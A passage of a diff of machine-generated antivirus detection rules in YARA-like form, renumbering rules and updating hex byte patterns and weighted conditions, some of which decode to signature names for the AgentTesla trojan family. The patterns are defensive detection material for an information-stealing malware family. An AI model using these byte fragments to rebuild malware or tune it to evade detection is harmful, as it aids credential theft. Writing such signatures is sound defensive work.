6e 01 00 1c 01 } //18467 $a_57_1 = {45 e9 69 c6 45 ea 6e c6 45 eb 45 c6 45 ec 78 c6 45 ed 65 c6 45 ee 63 01 00 14 01 c6 45 ea 2e c6 45 eb 65 c6 45 ec 78 c6 45 ed 65 c6 45 ee 00 01 00 20 01 14 4b c6 44 24 16 52 c6 44 24 17 4e c6 44 24 19 4c c6 44 24 1a 33 c6 44 24 1b 32 c6 44 24 1c 2e 01 00 1b 01 5b 95 72 e9 67 3a 5d 25 64 2d 25 64 2d 25 64 20 20 25 64 3a 25 64 3a 25 64 0d 0a 00 00 78 d8 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 41 43 33 21 4d 54 42 00 01 00 68 03 09 18 5a 1f 16 58 13 09 2b 4c 00 11 09 09 5d 13 0a 11 09 11 04 5d 13 0b 07 11 0a 91 13 0c 08 11 0b 6f 90 01 01 00 00 0a 13 0d 07 11 09 17 58 09 5d 91 13 0e 11 0c 11 0d 61 11 0e 59 20 00 01 } //17862 $a_13_2 = {07 11 0a 11 0f 20 00 01 00 00 5d d2 9c 00 11 09 17 59 13 09 11 09 16 fe 04 16 fe 01 13 10 11 10 2d a6 90 00 01 00 06 81 01 49 6e 76 6f 6b 65 01 00 2d 81 01 46 72 61 63 74 69 6f 6e 4d 65 72 67 65 72 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e } //0 - $a_6f_3 = {72 63 65 73 00 00 78 d8 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 56 42 44 30 31 21 4d 54 42 00 01 00 59 81 01 57 15 a2 09 09 1f 00 00 00 fa 01 33 00 16 00 00 01 00 00 00 82 00 00 00 12 00 00 00 7a 00 00 00 25 01 00 00 b3 00 00 00 f1 00 00 00 54 02 00 00 20 00 00 00 0d } //25970 - $a_00_5 = {00 00 09 00 00 00 01 00 00 00 05 00 00 00 09 00 00 00 03 00 00 00 05 00 00 00 12 01 00 24 81 01 34 36 65 34 35 33 30 36 2d 61 64 61 61 2d 34 35 66 32 2d 39 63 66 63 2d 39 30 62 31 62 36 65 66 32 32 36 63 01 00 1b 81 01 67 65 74 5f 44 45 47 46 44 53 48 5f 47 4b 48 4a 5f 47 48 44 4a 4b 41 47 44 4a 4b 00 00 78 d8 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 56 45 58 30 31 21 4d 54 42 00 01 00 7e 03 57 bd a2 3d 09 1f 00 00 00 fa 25 33 00 16 00 00 01 00 00 00 fd 00 00 00 90 01 01 00 00 00 c1 00 00 00 90 01 01 00 00 00 03 00 00 00 8f 01 00 00 0b 00 00 00 39 00 00 00 01 } //0 + $a_6f_3 = {72 63 65 73 00 00 78 d8 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 41 54 30 31 21 4d 54 42 00 01 00 79 03 57 5f b6 1d 09 0b 00 00 00 fa 01 33 00 16 00 00 01 00 00 00 90 01 01 00 00 00 36 00 00 00 f4 01 00 00 7b 01 00 00 74 01 00 00 01 00 00 00 90 01 01 01 00 00 31 01 00 } //25970 + $a_01_4 = {00 } //-28672 + $a_00_5 = {00 } //0 condition: - ((#a_54_0 & 1)*18467+(#a_57_1 & 1)*17862+(#a_13_2 & 1)*0+(#a_6f_3 & 1)*25970+(#a_00_5 & 1)*0) >=2 + ((#a_54_0 & 1)*18467+(#a_57_1 & 1)*17862+(#a_13_2 & 1)*0+(#a_6f_3 & 1)*25970+(#a_01_4 & 1)*-28672+(#a_00_5 & 1)*0) >=2 } -rule _InfrastructureShared_14519{ +rule _InfrastructureShared_15474{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 41 43 33 21 4d 54 42 00 01 00 68 03 09 18 5a 1f 16 58 13 09 2b 4c 00 11 09 09 5d 13 0a 11 09 11 04 5d 13 0b 07 11 0a 91 13 0c 08 11 0b 6f 90 01 01 00 00 0a 13 0d 07 11 09 17 } //18467 $a_91_1 = {0e 11 0c 11 0d 61 11 0e 59 20 00 01 00 00 58 13 0f 07 11 0a 11 0f 20 00 01 00 00 5d d2 9c 00 11 09 17 59 13 09 11 09 16 fe 04 16 fe 01 13 10 11 10 2d a6 90 00 01 00 06 81 01 49 6e 76 6f 6b 65 01 00 2d 81 01 46 72 61 63 74 69 6f 6e 4d 65 72 67 65 72 2e 50 72 6f 70 65 72 74 69 65 } //2392 - $a_65_2 = {6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 00 00 78 d8 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 56 42 44 30 31 21 4d 54 42 00 01 00 59 81 01 57 15 a2 09 09 1f 00 00 } //11891 + $a_65_2 = {6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 00 00 78 d8 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 41 54 30 31 21 4d 54 42 00 01 00 79 03 57 5f b6 1d 09 0b 00 00 00 fa } //11891 condition: ((#a_54_0 & 1)*18467+(#a_91_1 & 1)*2392+(#a_65_2 & 1)*11891) >=3 } -rule _InfrastructureShared_14520{ +rule _InfrastructureShared_15475{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 41 54 30 31 21 4d 54 42 00 01 00 79 03 57 5f b6 1d 09 0b 00 00 00 fa 01 33 00 16 00 00 01 00 00 00 90 01 01 00 00 00 36 00 00 00 f4 01 00 00 7b 01 00 00 74 01 00 00 01 00 00 } //18467 + $a_01_1 = {01 } //-28672 + $a_01_2 = {00 00 90 01 01 00 00 00 01 00 00 00 3d 00 00 00 02 00 00 00 03 00 00 00 13 00 00 00 60 00 00 00 a1 00 00 00 05 00 00 00 0f 00 00 00 1a 00 00 00 01 } //0 + condition: + ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*-28672+(#a_01_2 & 1)*0) >=3 + +} +rule _InfrastructureShared_15476{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -166395,7 +177558,7 @@ rule _InfrastructureShared_14520{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*21504) >=3 } -rule _InfrastructureShared_14521{ +rule _InfrastructureShared_15477{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -166405,7 +177568,7 @@ rule _InfrastructureShared_14521{ ((#a_54_0 & 1)*18467) >=3 } -rule _InfrastructureShared_14522{ +rule _InfrastructureShared_15478{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -166416,7 +177579,7 @@ rule _InfrastructureShared_14522{ ((#a_54_0 & 1)*18467+(#a_34_2 & 1)*12288) >=3 } -rule _InfrastructureShared_14523{ +rule _InfrastructureShared_15479{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -166428,7 +177591,7 @@ rule _InfrastructureShared_14523{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*24946+(#a_d8_3 & 1)*0) >=3 } -rule _InfrastructureShared_14524{ +rule _InfrastructureShared_15480{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -166440,7 +177603,7 @@ rule _InfrastructureShared_14524{ ((#a_46_0 & 1)*16675+(#a_65_2 & 1)*24933+(#a_d8_3 & 1)*0) >=3 } -rule _InfrastructureShared_14525{ +rule _InfrastructureShared_15481{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -166452,7 +177615,7 @@ rule _InfrastructureShared_14525{ ((#a_77_0 & 1)*19491+(#a_00_2 & 1)*116+(#a_48_3 & 1)*17996) >=3 } -rule _InfrastructureShared_14526{ +rule _InfrastructureShared_15482{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -166466,7 +177629,7 @@ rule _InfrastructureShared_14526{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*113+(#a_89_2 & 1)*513+(#a_3c_3 & 1)*26717+(#a_00_5 & 1)*108) >=3 } -rule _InfrastructureShared_14527{ +rule _InfrastructureShared_15483{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 13 00 21 " @@ -166493,7 +177656,7 @@ rule _InfrastructureShared_14527{ ((#a_46_0 & 1)*16675+(#a_04_1 & 1)*1024+(#a_00_2 & 1)*-11470+(#a_0e_3 & 1)*-29183+(#a_01_4 & 1)*-12134+(#a_4b_5 & 1)*29541+(#a_00_6 & 1)*110+(#a_6e_7 & 1)*21356+(#a_65_8 & 1)*278+(#a_00_9 & 1)*25943+(#a_61_10 & 1)*29281+(#a_65_11 & 1)*14930+(#a_00_12 & 1)*31046+(#a_3d_13 & 1)*-24319+(#a_00_15 & 1)*5+(#a_48_16 & 1)*17996+(#a_6c_17 & 1)*20225+(#a_42_18 & 1)*14906) >=3 } -rule _InfrastructureShared_14528{ +rule _InfrastructureShared_15484{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -166505,7 +177668,7 @@ rule _InfrastructureShared_14528{ ((#a_5f_0 & 1)*16931+(#a_00_1 & 1)*32+(#a_00_4 & 1)*4) >=4 } -rule _InfrastructureShared_14529{ +rule _InfrastructureShared_15485{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -166519,7 +177682,7 @@ rule _InfrastructureShared_14529{ ((#a_63_0 & 1)*18467+(#a_2e_1 & 1)*12593+(#a_5c_2 & 1)*25445+(#a_41_3 & 1)*29541+(#a_64_4 & 1)*5632) >=4 } -rule _InfrastructureShared_14530{ +rule _InfrastructureShared_15486{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -166534,7 +177697,7 @@ rule _InfrastructureShared_14530{ ((#a_77_0 & 1)*16675+(#a_38_1 & 1)*13890+(#a_63_2 & 1)*29743+(#a_00_3 & 1)*-28241+(#a_4c_4 & 1)*-18431+(#a_33_5 & 1)*260) >=4 } -rule _InfrastructureShared_14531{ +rule _InfrastructureShared_15487{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 17 00 21 " @@ -166566,7 +177729,7 @@ rule _InfrastructureShared_14531{ ((#a_46_0 & 1)*16675+(#a_c8_1 & 1)*260+(#a_2d_2 & 1)*13877+(#a_64_3 & 1)*25966+(#a_01_4 & 1)*21331+(#a_2e_5 & 1)*25972+(#a_51_6 & 1)*13145+(#a_74_7 & 1)*25439+(#a_74_8 & 1)*25971+(#a_65_9 & 1)*25902+(#a_6f_10 & 1)*26469+(#a_6e_11 & 1)*29288+(#a_6c_12 & 1)*21363+(#a_69_13 & 1)*26988+(#a_6b_14 & 1)*25203+(#a_72_15 & 1)*28783+(#a_74_16 & 1)*29441+(#a_6b_17 & 1)*28518+(#a_65_18 & 1)*26996+(#a_6b_19 & 1)*25188+(#a_73_20 & 1)*25089+(#a_67_21 & 1)*24864+(#a_65_22 & 1)*385) >=4 } -rule _InfrastructureShared_14532{ +rule _InfrastructureShared_15488{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -166580,7 +177743,7 @@ rule _InfrastructureShared_14532{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*29813+(#a_47_2 & 1)*3584+(#a_6b_3 & 1)*26964+(#a_44_4 & 1)*24939) >=5 } -rule _InfrastructureShared_14533{ +rule _InfrastructureShared_15489{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -166594,7 +177757,7 @@ rule _InfrastructureShared_14533{ ((#a_46_0 & 1)*16675+(#a_4a_1 & 1)*29793+(#a_57_2 & 1)*12621+(#a_72_3 & 1)*12082+(#a_90_4 & 1)*30821) >=5 } -rule _InfrastructureShared_14534{ +rule _InfrastructureShared_15490{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -166608,7 +177771,7 @@ rule _InfrastructureShared_14534{ ((#a_46_0 & 1)*16675+(#a_68_1 & 1)*27906+(#a_74_2 & 1)*30063+(#a_4a_3 & 1)*15187+(#a_61_4 & 1)*29295) >=5 } -rule _InfrastructureShared_14535{ +rule _InfrastructureShared_15491{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -166622,7 +177785,7 @@ rule _InfrastructureShared_14535{ ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*17485+(#a_72_2 & 1)*25459+(#a_64_3 & 1)*26740+(#a_65_4 & 1)*26956) >=5 } -rule _InfrastructureShared_14536{ +rule _InfrastructureShared_15492{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -166635,7 +177798,7 @@ rule _InfrastructureShared_14536{ ((#a_6c_0 & 1)*16675+(#a_65_1 & 1)*28005+(#a_52_3 & 1)*21320+(#a_69_4 & 1)*29550) >=5 } -rule _InfrastructureShared_14537{ +rule _InfrastructureShared_15493{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -166649,7 +177812,7 @@ rule _InfrastructureShared_14537{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*26881+(#a_65_2 & 1)*29801+(#a_4f_3 & 1)*19528+(#a_65_4 & 1)*385) >=5 } -rule _InfrastructureShared_14538{ +rule _InfrastructureShared_15494{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -166664,7 +177827,7 @@ rule _InfrastructureShared_14538{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*25970+(#a_00_2 & 1)*30720+(#a_00_3 & 1)*30720+(#a_00_4 & 1)*30720+(#a_00_5 & 1)*30720) >=6 } -rule _InfrastructureShared_14539{ +rule _InfrastructureShared_15495{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -166679,7 +177842,7 @@ rule _InfrastructureShared_14539{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*27506+(#a_6e_2 & 1)*28276+(#a_6b_3 & 1)*25188+(#a_73_4 & 1)*25089+(#a_67_5 & 1)*24864) >=6 } -rule _InfrastructureShared_14540{ +rule _InfrastructureShared_15496{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -166694,7 +177857,7 @@ rule _InfrastructureShared_14540{ ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*13413+(#a_6f_2 & 1)*-32486+(#a_74_3 & 1)*29554+(#a_6f_4 & 1)*26740+(#a_76_5 & 1)*30064) >=6 } -rule _InfrastructureShared_14541{ +rule _InfrastructureShared_15497{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -166707,7 +177870,7 @@ rule _InfrastructureShared_14541{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*25089+(#a_48_4 & 1)*8448+(#a_00_5 & 1)*49) >=6 } -rule _InfrastructureShared_14542{ +rule _InfrastructureShared_15498{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -166723,7 +177886,7 @@ rule _InfrastructureShared_14542{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*31084+(#a_64_2 & 1)*384+(#a_64_3 & 1)*30018+(#a_36_4 & 1)*29537+(#a_54_5 & 1)*25959+(#a_74_6 & 1)*18799) >=7 } -rule _InfrastructureShared_14543{ +rule _InfrastructureShared_15499{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -166738,7 +177901,7 @@ rule _InfrastructureShared_14543{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*17005+(#a_61_2 & 1)*24436+(#a_6f_3 & 1)*12034+(#a_69_5 & 1)*29779+(#a_74_6 & 1)*23655) >=7 } -rule _InfrastructureShared_14544{ +rule _InfrastructureShared_15500{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 08 00 21 " @@ -166755,7 +177918,7 @@ rule _InfrastructureShared_14544{ ((#a_54_0 & 1)*18467+(#a_67_1 & 1)*656+(#a_00_2 & 1)*2560+(#a_72_3 & 1)*21359+(#a_66_4 & 1)*20060+(#a_4e_5 & 1)*18432+(#a_72_6 & 1)*29808+(#a_67_7 & 1)*16897) >=7 } -rule _InfrastructureShared_14545{ +rule _InfrastructureShared_15501{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 0a 00 21 " @@ -166772,7 +177935,7 @@ rule _InfrastructureShared_14545{ ((#a_46_0 & 1)*16675+(#a_01_2 & 1)*-31132+(#a_6f_3 & 1)*26478+(#a_69_4 & 1)*25963+(#a_63_5 & 1)*29285+(#a_50_6 & 1)*11888+(#a_36_8 & 1)*384+(#a_66_9 & 1)*20225) >=7 } -rule _InfrastructureShared_14546{ +rule _InfrastructureShared_15502{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -166789,7 +177952,7 @@ rule _InfrastructureShared_14546{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*31077+(#a_75_2 & 1)*28769+(#a_41_3 & 1)*21061+(#a_4f_4 & 1)*-32748+(#a_61_5 & 1)*29285+(#a_65_6 & 1)*27745+(#a_65_7 & 1)*384) >=8 } -rule _InfrastructureShared_14547{ +rule _InfrastructureShared_15503{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -166806,7 +177969,7 @@ rule _InfrastructureShared_14547{ ((#a_46_0 & 1)*16675+(#a_54_1 & 1)*17740+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_d8_5 & 1)*0+(#a_63_6 & 1)*17503+(#a_48_7 & 1)*8448) >=8 } -rule _InfrastructureShared_14548{ +rule _InfrastructureShared_15504{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -166823,7 +177986,7 @@ rule _InfrastructureShared_14548{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*28257+(#a_75_2 & 1)*24918+(#a_46_3 & 1)*13313+(#a_64_4 & 1)*-32500+(#a_65_5 & 1)*26704+(#a_6c_6 & 1)*11824+(#a_01_7 & 1)*28524) >=8 } -rule _InfrastructureShared_14549{ +rule _InfrastructureShared_15505{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -166840,7 +178003,7 @@ rule _InfrastructureShared_14549{ ((#a_54_0 & 1)*18467+(#a_37_1 & 1)*14406+(#a_00_2 & 1)*24946+(#a_67_3 & 1)*385+(#a_4e_4 & 1)*21059+(#a_69_5 & 1)*31078+(#a_00_6 & 1)*0+(#a_61_7 & 1)*26479) >=8 } -rule _InfrastructureShared_14550{ +rule _InfrastructureShared_15506{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -166855,7 +178018,7 @@ rule _InfrastructureShared_14550{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*25970+(#a_00_4 & 1)*8+(#a_3a_5 & 1)*24946+(#a_6c_6 & 1)*28277+(#a_41_7 & 1)*20538) >=8 } -rule _InfrastructureShared_14551{ +rule _InfrastructureShared_15507{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -166872,7 +178035,7 @@ rule _InfrastructureShared_14551{ ((#a_6f_0 & 1)*20515+(#a_6c_1 & 1)*28277+(#a_41_2 & 1)*20538+(#a_00_3 & 1)*112+(#a_00_4 & 1)*11+(#a_6e_5 & 1)*27247+(#a_6f_6 & 1)*384+(#a_73_7 & 1)*28484) >=8 } -rule _InfrastructureShared_14552{ +rule _InfrastructureShared_15508{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 06 00 21 " @@ -166886,7 +178049,7 @@ rule _InfrastructureShared_14552{ ((#a_46_0 & 1)*16675+(#a_68_2 & 1)*16128+(#a_00_3 & 1)*116+(#a_00_4 & 1)*30720+(#a_00_5 & 1)*30720) >=10 } -rule _InfrastructureShared_14553{ +rule _InfrastructureShared_15509{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -166905,7 +178068,7 @@ rule _InfrastructureShared_14553{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*30050+(#a_00_3 & 1)*14+(#a_6e_4 & 1)*22330+(#a_72_5 & 1)*28531+(#a_61_6 & 1)*29541+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1) >=11 } -rule _InfrastructureShared_14554{ +rule _InfrastructureShared_15510{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 05 00 21 " @@ -166919,7 +178082,7 @@ rule _InfrastructureShared_14554{ ((#a_4c_0 & 1)*21539+(#a_52_1 & 1)*30062+(#a_01_2 & 1)*30575+(#a_62_3 & 1)*13922+(#a_6f_4 & 1)*1) >=14 } -rule _InfrastructureShared_14555{ +rule _InfrastructureShared_15511{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 07 00 21 " @@ -166935,7 +178098,7 @@ rule _InfrastructureShared_14555{ ((#a_46_0 & 1)*16675+(#a_66_1 & 1)*25124+(#a_74_2 & 1)*18176+(#a_6e_3 & 1)*11887+(#a_78_4 & 1)*11887+(#a_67_5 & 1)*12108+(#a_90_6 & 1)*1025) >=15 } -rule _InfrastructureShared_14556{ +rule _InfrastructureShared_15512{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 0e 00 09 00 21 " @@ -166952,7 +178115,7 @@ rule _InfrastructureShared_14556{ ((#a_77_0 & 1)*16675+(#a_5c_1 & 1)*3840+(#a_73_2 & 1)*28537+(#a_00_3 & 1)*0+(#a_53_4 & 1)*14958+(#a_2c_5 & 1)*4365+(#a_11_7 & 1)*4874+(#a_01_8 & 1)*10244) >=14 } -rule _InfrastructureShared_14557{ +rule _InfrastructureShared_15513{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 04 00 21 " @@ -166964,7 +178127,7 @@ rule _InfrastructureShared_14557{ ((#a_54_0 & 1)*18467+(#a_04_1 & 1)*-28561+(#a_2c_2 & 1)*4365) >=16 } -rule _InfrastructureShared_14558{ +rule _InfrastructureShared_15514{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 08 00 21 " @@ -166981,7 +178144,7 @@ rule _InfrastructureShared_14558{ ((#a_54_0 & 1)*18467+(#a_5f_1 & 1)*24415+(#a_00_2 & 1)*26478+(#a_73_3 & 1)*21248+(#a_01_4 & 1)*-29416+(#a_6c_5 & 1)*25940+(#a_72_6 & 1)*270+(#a_00_7 & 1)*20) >=17 } -rule _InfrastructureShared_14559{ +rule _InfrastructureShared_15515{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 06 00 21 " @@ -166996,7 +178159,7 @@ rule _InfrastructureShared_14559{ ((#a_54_0 & 1)*18467+(#a_13_1 & 1)*-24055+(#a_54_2 & 1)*25972+(#a_30_3 & 1)*22098+(#a_70_4 & 1)*29264+(#a_00_5 & 1)*20) >=18 } -rule _InfrastructureShared_14560{ +rule _InfrastructureShared_15516{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 09 00 21 " @@ -167012,7 +178175,7 @@ rule _InfrastructureShared_14560{ ((#a_54_0 & 1)*18467+(#a_6d_1 & 1)*18276+(#a_76_3 & 1)*18689+(#a_13_4 & 1)*400+(#a_0a_5 & 1)*1025+(#a_65_7 & 1)*384+(#a_74_8 & 1)*29285) >=18 } -rule _InfrastructureShared_14561{ +rule _InfrastructureShared_15517{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 06 00 21 " @@ -167026,7 +178189,7 @@ rule _InfrastructureShared_14561{ ((#a_54_0 & 1)*18467+(#a_04_1 & 1)*-28561+(#a_28_2 & 1)*4361+(#a_17_3 & 1)*4508+(#a_01_5 & 1)*1792) >=20 } -rule _InfrastructureShared_14562{ +rule _InfrastructureShared_15518{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,15 00 15 00 03 00 21 " @@ -167038,7 +178201,7 @@ rule _InfrastructureShared_14562{ ((#a_6f_0 & 1)*21539+(#a_78_1 & 1)*19595+(#a_6c_2 & 1)*-2037) >=21 } -rule _InfrastructureShared_14563{ +rule _InfrastructureShared_15519{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 14 00 03 00 21 " @@ -167049,7 +178212,7 @@ rule _InfrastructureShared_14563{ ((#a_46_0 & 1)*16675+(#a_8b_2 & 1)*17920) >=20 } -rule _InfrastructureShared_14564{ +rule _InfrastructureShared_15520{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 02 00 21 " @@ -167060,7 +178223,7 @@ rule _InfrastructureShared_14564{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*25705) >=100 } -rule _InfrastructureShared_14565{ +rule _InfrastructureShared_15521{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,fffffff4 01 fffffff4 01 05 00 21 " @@ -167074,7 +178237,7 @@ rule _InfrastructureShared_14565{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*28530+(#a_61_2 & 1)*8285+(#a_90_3 & 1)*-29434+(#a_90_4 & 1)*6288) >=500 } -rule _InfrastructureShared_14566{ +rule _InfrastructureShared_15522{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -167084,7 +178247,7 @@ rule _InfrastructureShared_14566{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_14567{ +rule _InfrastructureShared_15523{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -167094,7 +178257,7 @@ rule _InfrastructureShared_14567{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_14568{ +rule _InfrastructureShared_15524{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -167104,7 +178267,7 @@ rule _InfrastructureShared_14568{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_14569{ +rule _InfrastructureShared_15525{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 07 00 21 " @@ -167118,7 +178281,7 @@ rule _InfrastructureShared_14569{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*21897+(#a_32_2 & 1)*28265+(#a_00_4 & 1)*115+(#a_00_6 & 1)*105) >=1 } -rule _InfrastructureShared_14570{ +rule _InfrastructureShared_15526{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -167128,7 +178291,7 @@ rule _InfrastructureShared_14570{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_14571{ +rule _InfrastructureShared_15527{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -167138,7 +178301,7 @@ rule _InfrastructureShared_14571{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_14572{ +rule _InfrastructureShared_15528{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -167149,7 +178312,7 @@ rule _InfrastructureShared_14572{ ((#a_4c_0 & 1)*21539+(#a_11_1 & 1)*4874) >=2 } -rule _InfrastructureShared_14573{ +rule _InfrastructureShared_15529{ meta: description = 